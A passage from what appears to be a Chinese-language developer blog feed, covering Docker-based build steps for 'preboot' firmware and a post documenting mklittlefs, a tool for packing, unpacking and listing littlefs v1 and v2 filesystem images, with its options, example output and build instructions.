</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="使用">使用</h2>
<p>后面使用只需要从  <a href="https://hub.docker.com/">docker hub</a> 拉取镜像:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker pull hacper/preboot_builder
</span></span></code></pre></td></tr></table>
</div>
</div><p>然后创建容器：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run -v /e/workspace/preboot/preboot_boot2:/preboot/src -it hacper/preboot_builder
</span></span></code></pre></td></tr></table>
</div>
</div><p>/e/workspace/preboot/preboot_boot2 只是示例路径，需要修改为自己电脑上的 preboot 源码路径。preboot_boot2 目录下的 CRANEL、CRANEM 分别放置对应的 preboot 源码，将 preboot_boot2 目录挂载到容器中。</p>
<p>执行编译脚本编译preboot</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"> ./build_CRANEL.sh
</span></span><span class="line"><span class="cl"> ./build_CRANEM.sh
</span></span></code></pre></td></tr></table>
</div>
</div><p>生成的镜像分别在路径：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">preboot_boot2</span><span class="p">\</span><span class="n">CRANEL</span><span class="p">\</span><span class="n">apps</span><span class="p">\</span><span class="n">preboot</span><span class="p">\</span><span class="n">bin</span><span class="p">\</span><span class="n">crane</span><span class="p">\</span><span class="n">preboot</span><span class="p">.</span><span class="py">bin</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">preboot_boot2</span><span class="p">\</span><span class="n">CRANEM</span><span class="p">\</span><span class="n">apps</span><span class="p">\</span><span class="n">preboot</span><span class="p">\</span><span class="n">bin</span><span class="p">\</span><span class="nb">cortexr-arom</span><span class="n">-crane</span><span class="p">\</span><span class="n">preboot</span><span class="p">.</span><span class="py">bin</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>mklittlefs: littlefs 镜像打包和解析工具</title>
      <link>https://hacperme.com/posts/notes/mklittlefs_tool/</link>
      <pubDate>Sun, 11 Feb 2024 10:25:30 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/mklittlefs_tool/</guid>
      <description>littlefs 镜像打包和解析工具</description>
      <content:encoded><![CDATA[<p>基于 <a href="https://github.com/earlephilhower/mklittlefs">mklittlefs: https://github.com/earlephilhower/mklittlefs)</a> ，修改并增加了一些配置参数。</p>
<p>由于littlefs v1.x 和 v2.x 不兼容，编译了两个版本：</p>
<ul>
<li>
<p>mklittlefs-v1.exe 用于 littlefs v1.x.x</p>
</li>
<li>
<p>mklittlefs-v2.exe 用于 littlefs v2.x.x</p>
</li>
</ul>
<p>二者使用的命令参数一样。</p>
<h2 id="命令参数">命令参数</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">mklittlefs</span><span class="o">-</span><span class="n">v1</span> <span class="n">or</span> <span class="n">mklittlefs</span><span class="o">-</span><span class="n">v2</span>          <span class="p">{</span><span class="o">-</span><span class="n">c</span> <span class="o">&lt;</span><span class="n">pack_dir</span><span class="o">&gt;|-</span><span class="n">u</span> <span class="o">&lt;</span><span class="n">dest_dir</span><span class="o">&gt;|-</span><span class="n">l</span><span class="p">}</span> 
</span></span><span class="line"><span class="cl">                                        <span class="p">[</span><span class="o">-</span><span class="n">T</span> <span class="o">&lt;</span><span class="n">from_file</span><span class="o">&gt;</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">d</span> <span class="o">&lt;</span><span class="mi">0</span><span class="o">-</span><span class="mi">5</span><span class="o">&gt;</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">a</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">w</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">]</span> 
</span></span><span class="line"><span class="cl">                                        <span class="p">[</span><span class="o">-</span><span class="n">r</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">b</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">s</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">]</span> <span class="p">[</span><span class="o">--</span><span class="p">]</span> 
</span></span><span class="line"><span class="cl">                                        <span class="p">[</span><span class="o">--</span><span class="n">version</span><span class="p">]</span> <span class="p">[</span><span class="o">-</span><span class="n">h</span><span class="p">]</span> <span class="o">&lt;</span><span class="n">image_file</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">Where</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">c</span> <span class="o">&lt;</span><span class="n">pack_dir</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">create</span> <span class="o">&lt;</span><span class="n">pack_dir</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="p">(</span><span class="n">OR</span> <span class="n">required</span><span class="p">)</span>  <span class="n">create</span> <span class="n">littlefs</span> <span class="n">image</span> <span class="n">from</span> <span class="n">a</span> <span class="n">directory</span>
</span></span><span class="line"><span class="cl">         <span class="o">--</span> <span class="n">OR</span> <span class="o">--</span>
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">u</span> <span class="o">&lt;</span><span class="n">dest_dir</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">unpack</span> <span class="o">&lt;</span><span class="n">dest_dir</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="p">(</span><span class="n">OR</span> <span class="n">required</span><span class="p">)</span>  <span class="n">unpack</span> <span class="n">littlefs</span> <span class="n">image</span> <span class="n">to</span> <span class="n">a</span> <span class="n">directory</span>
</span></span><span class="line"><span class="cl">         <span class="o">--</span> <span class="n">OR</span> <span class="o">--</span>
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">l</span><span class="p">,</span>  <span class="o">--</span><span class="nf">list</span>
</span></span><span class="line"><span class="cl">     <span class="p">(</span><span class="n">OR</span> <span class="n">required</span><span class="p">)</span>  <span class="n">list</span> <span class="n">files</span> <span class="n">in</span> <span class="n">littlefs</span> <span class="n">image</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">T</span> <span class="o">&lt;</span><span class="n">from_file</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">from</span><span class="o">-</span><span class="n">file</span> <span class="o">&lt;</span><span class="n">from_file</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">when</span> <span class="n">creating</span> <span class="n">an</span> <span class="n">image</span><span class="p">,</span> <span class="n">include</span> <span class="n">paths</span> <span class="n">in</span> <span class="n">from_file</span> <span class="n">instead</span> <span class="n">of</span> <span class="n">scanning</span>
</span></span><span class="line"><span class="cl">     <span class="n">pack_dir</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">d</span> <span class="o">&lt;</span><span class="mi">0</span><span class="o">-</span><span class="mi">5</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">debug</span> <span class="o">&lt;</span><span class="mi">0</span><span class="o">-</span><span class="mi">5</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">Debug</span> <span class="n">level</span><span class="p">.</span> <span class="mi">0</span> <span class="n">means</span> <span class="n">no</span> <span class="n">debug</span> <span class="n">output</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">a</span><span class="p">,</span>  <span class="o">--</span><span class="n">all</span><span class="o">-</span><span class="n">files</span>
</span></span><span class="line"><span class="cl">     <span class="n">when</span> <span class="n">creating</span> <span class="n">an</span> <span class="n">image</span><span class="p">,</span> <span class="n">include</span> <span class="n">files</span> <span class="n">which</span> <span class="n">are</span> <span class="n">normally</span> <span class="n">ignored</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="n">currently</span> <span class="n">only</span> <span class="n">applies</span> <span class="n">to</span> <span class="err">&#39;</span><span class="p">.</span><span class="n">DS_Store</span><span class="err">&#39;</span> <span class="n">files</span> <span class="n">and</span> <span class="err">&#39;</span><span class="p">.</span><span class="n">git</span><span class="err">&#39;</span> <span class="n">directories</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">w</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">prosize</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">fs</span> <span class="n">pro</span> <span class="n">size</span><span class="p">,</span> <span class="n">in</span> <span class="n">bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">r</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">readsize</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">fs</span> <span class="n">read_size</span><span class="p">,</span> <span class="n">in</span> <span class="n">bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">b</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">block</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">fs</span> <span class="n">block</span> <span class="n">size</span><span class="p">,</span> <span class="n">in</span> <span class="n">bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">s</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span><span class="p">,</span>  <span class="o">--</span><span class="n">size</span> <span class="o">&lt;</span><span class="n">number</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="n">fs</span> <span class="n">image</span> <span class="n">size</span><span class="p">,</span> <span class="n">in</span> <span class="n">bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">--</span><span class="p">,</span>  <span class="o">--</span><span class="n">ignore_rest</span>
</span></span><span class="line"><span class="cl">     <span class="n">Ignores</span> <span class="n">the</span> <span class="n">rest</span> <span class="n">of</span> <span class="n">the</span> <span class="n">labeled</span> <span class="n">arguments</span> <span class="n">following</span> <span class="n">this</span> <span class="n">flag</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">--</span><span class="n">version</span>
</span></span><span class="line"><span class="cl">     <span class="n">Displays</span> <span class="n">version</span> <span class="n">information</span> <span class="n">and</span> <span class="n">exits</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">-</span><span class="n">h</span><span class="p">,</span>  <span class="o">--</span><span class="n">help</span>
</span></span><span class="line"><span class="cl">     <span class="n">Displays</span> <span class="n">usage</span> <span class="n">information</span> <span class="n">and</span> <span class="n">exits</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="o">&lt;</span><span class="n">image_file</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">     <span class="p">(</span><span class="n">required</span><span class="p">)</span>  <span class="n">littlefs</span> <span class="n">image</span> <span class="n">file</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><code>-c</code>: 制作镜像</p>
<p><code>-u</code> 解析镜像</p>
<p><code>-l</code> 列出镜像文件中的文件</p>
<p>其他参数：<code>read_size</code>,<code>prog_size</code>,<code>block_size</code> 根据 lfs_mount 挂载文件系统时 lfs_config 中的配置参数来填写。</p>
<h2 id="使用示例">使用示例</h2>
<p>v1 版本</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v1.exe --version
</span></span><span class="line"><span class="cl">mklittlefs ver. 3.2.0-7-g1a3999a
</span></span><span class="line"><span class="cl">Build configuration name: generic
</span></span><span class="line"><span class="cl">LittleFS ver. v1.7.2
</span></span><span class="line"><span class="cl">Extra build flags: <span class="o">(</span>none<span class="o">)</span>
</span></span><span class="line"><span class="cl">LittleFS configuration:
</span></span><span class="line"><span class="cl">  LFS_NAME_MAX: <span class="m">256</span>
</span></span><span class="line"><span class="cl">  LFS_FILE_MAX: <span class="m">2147483647</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 解析</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v1.exe -u test3  -b <span class="m">4096</span> -w <span class="m">4096</span> -s <span class="m">1048576</span> -r <span class="m">4096</span> customer_fs.bin
</span></span><span class="line"><span class="cl">Countdown.mp3    &gt; ./test3/Countdown.mp3        size: <span class="m">14671</span> Bytes
</span></span><span class="line"><span class="cl">Loudwarn.mp3     &gt; ./test3/Loudwarn.mp3 size: <span class="m">46086</span> Bytes
</span></span><span class="line"><span class="cl">Overspeed.mp3    &gt; ./test3/Overspeed.mp3        size: <span class="m">6313</span> Bytes
</span></span><span class="line"><span class="cl">PowerOff.mp3     &gt; ./test3/PowerOff.mp3 size: <span class="m">33954</span> Bytes
</span></span><span class="line"><span class="cl">PowerOn.mp3      &gt; ./test3/PowerOn.mp3  size: <span class="m">24355</span> Bytes
</span></span><span class="line"><span class="cl">Register.mp3     &gt; ./test3/Register.mp3 size: <span class="m">23030</span> Bytes
</span></span><span class="line"><span class="cl">Warn.mp3         &gt; ./test3/Warn.mp3     size: <span class="m">20942</span> Bytes
</span></span><span class="line"><span class="cl">1K0dB10s.mp3     &gt; ./test3/1K0dB10s.mp3 size: <span class="m">159077</span> Bytes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 打包</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v1.exe -c <span class="nb">test</span>  -b <span class="m">4096</span> -w <span class="m">4096</span> -s <span class="m">1048576</span> -r <span class="m">4096</span> customer_fs.bin
</span></span><span class="line"><span class="cl">/bt/ccc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/cf/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/hash
</span></span><span class="line"><span class="cl">/bt/keys/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/name
</span></span><span class="line"><span class="cl">/bt/sc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/btps.db
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 查看镜像文件</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v1.exe -l  -b <span class="m">4096</span> -w <span class="m">4096</span> -s <span class="m">1048576</span> -r <span class="m">4096</span> customer_fs.bin
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/ccc
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/ccc/341cf0fc5b670
</span></span><span class="line"><span class="cl"><span class="m">4</span>       /bt/ccc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/cf
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/cf/341cf0fc5b670
</span></span><span class="line"><span class="cl"><span class="m">1</span>       /bt/cf/341cf0fc5b670/0
</span></span><span class="line"><span class="cl"><span class="m">16</span>      /bt/hash
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/keys
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/keys/341cf0fc5b670
</span></span><span class="line"><span class="cl"><span class="m">124</span>     /bt/keys/341cf0fc5b670/0
</span></span><span class="line"><span class="cl"><span class="m">13</span>      /bt/name
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/sc
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/sc/341cf0fc5b670
</span></span><span class="line"><span class="cl"><span class="m">4</span>       /bt/sc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl"><span class="m">6144</span>    /btps.db
</span></span></code></pre></td></tr></table>
</div>
</div><p>v2 版本</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯  .<span class="se">\m</span>klittlefs-v2.exe --version
</span></span><span class="line"><span class="cl">mklittlefs ver. 3.2.0-7-g1a3999a
</span></span><span class="line"><span class="cl">Build configuration name: generic
</span></span><span class="line"><span class="cl">LittleFS ver. v2.5.1
</span></span><span class="line"><span class="cl">Extra build flags: <span class="o">(</span>none<span class="o">)</span>
</span></span><span class="line"><span class="cl">LittleFS configuration:
</span></span><span class="line"><span class="cl">  LFS_NAME_MAX: <span class="m">256</span>
</span></span><span class="line"><span class="cl">  LFS_FILE_MAX: <span class="m">2147483647</span>
</span></span><span class="line"><span class="cl">  LFS_ATTR_MAX: <span class="m">1022</span>
</span></span><span class="line"><span class="cl">      
</span></span><span class="line"><span class="cl"><span class="c1">## 解析</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v2.exe -u <span class="nb">test</span>  -b <span class="m">4096</span> -s <span class="m">2097152</span> littlefs_2M.bin
</span></span><span class="line"><span class="cl">btps.db  &gt; ./test/btps.db       size: <span class="m">6144</span> Bytes
</span></span><span class="line"><span class="cl">bt//ccc//341cf0fc5b670/0         &gt; ./test/bt/ccc/341cf0fc5b670/0        size: <span class="m">4</span> Bytes
</span></span><span class="line"><span class="cl">bt//cf//341cf0fc5b670/0  &gt; ./test/bt/cf/341cf0fc5b670/0 size: <span class="m">1</span> Bytes
</span></span><span class="line"><span class="cl">bt/hash  &gt; ./test/bt/hash       size: <span class="m">16</span> Bytes
</span></span><span class="line"><span class="cl">bt//keys//341cf0fc5b670/0        &gt; ./test/bt/keys/341cf0fc5b670/0       size: <span class="m">124</span> Bytes
</span></span><span class="line"><span class="cl">bt/name  &gt; ./test/bt/name       size: <span class="m">13</span> Bytes
</span></span><span class="line"><span class="cl">bt//sc//341cf0fc5b670/0  &gt; ./test/bt/sc/341cf0fc5b670/0 size: <span class="m">4</span> Bytes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 打包</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v2.exe -c test3  -b <span class="m">4096</span> -s <span class="m">2097152</span> littlefs_2M.bin
</span></span><span class="line"><span class="cl">/1K0dB10s.mp3
</span></span><span class="line"><span class="cl">/bt/ccc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/cf/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/hash
</span></span><span class="line"><span class="cl">/bt/keys/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/bt/name
</span></span><span class="line"><span class="cl">/bt/sc/341cf0fc5b670/0
</span></span><span class="line"><span class="cl">/btps.db
</span></span><span class="line"><span class="cl">/Countdown.mp3
</span></span><span class="line"><span class="cl">/Loudwarn.mp3
</span></span><span class="line"><span class="cl">/Overspeed.mp3
</span></span><span class="line"><span class="cl">/PowerOff.mp3
</span></span><span class="line"><span class="cl">/PowerOn.mp3
</span></span><span class="line"><span class="cl">/Register.mp3
</span></span><span class="line"><span class="cl">/Warn.mp3
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 列举镜像中的文件</span>
</span></span><span class="line"><span class="cl">❯ .<span class="se">\m</span>klittlefs-v2.exe -l  -b <span class="m">4096</span> -s <span class="m">2097152</span> littlefs_2M.bin
</span></span><span class="line"><span class="cl"><span class="m">159077</span>  /1K0dB10s.mp3   Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">14671</span>   /Countdown.mp3  Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">46086</span>   /Loudwarn.mp3   Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">6313</span>    /Overspeed.mp3  Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">33954</span>   /PowerOff.mp3   Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">24355</span>   /PowerOn.mp3    Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">23030</span>   /Register.mp3   Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">20942</span>   /Warn.mp3       Sun Feb <span class="m">04</span> 03:08:21 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">6144</span>    /btps.db        Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt     Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/ccc Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/ccc/341cf0fc5b670   Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">4</span>       /bt/ccc/341cf0fc5b670/0 Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/cf  Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/cf/341cf0fc5b670    Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span>       /bt/cf/341cf0fc5b670/0  Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">16</span>      /bt/hash        Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/keys        Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/keys/341cf0fc5b670  Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">124</span>     /bt/keys/341cf0fc5b670/0        Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">13</span>      /bt/name        Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/sc  Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">&lt;dir&gt;   /bt/sc/341cf0fc5b670    Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl"><span class="m">4</span>       /bt/sc/341cf0fc5b670/0  Sun Feb <span class="m">04</span> 03:09:58 <span class="m">2024</span>
</span></span><span class="line"><span class="cl">Creation time:  Sun Feb <span class="m">04</span> 03:14:12 <span class="m">2024</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="编译">编译</h2>
<p>源码编译工具使用 xmake 和 gcc.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git clone git@github.com:hacperme/mklittlefs.git
</span></span><span class="line"><span class="cl">$ git submodule update --init
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ xmake
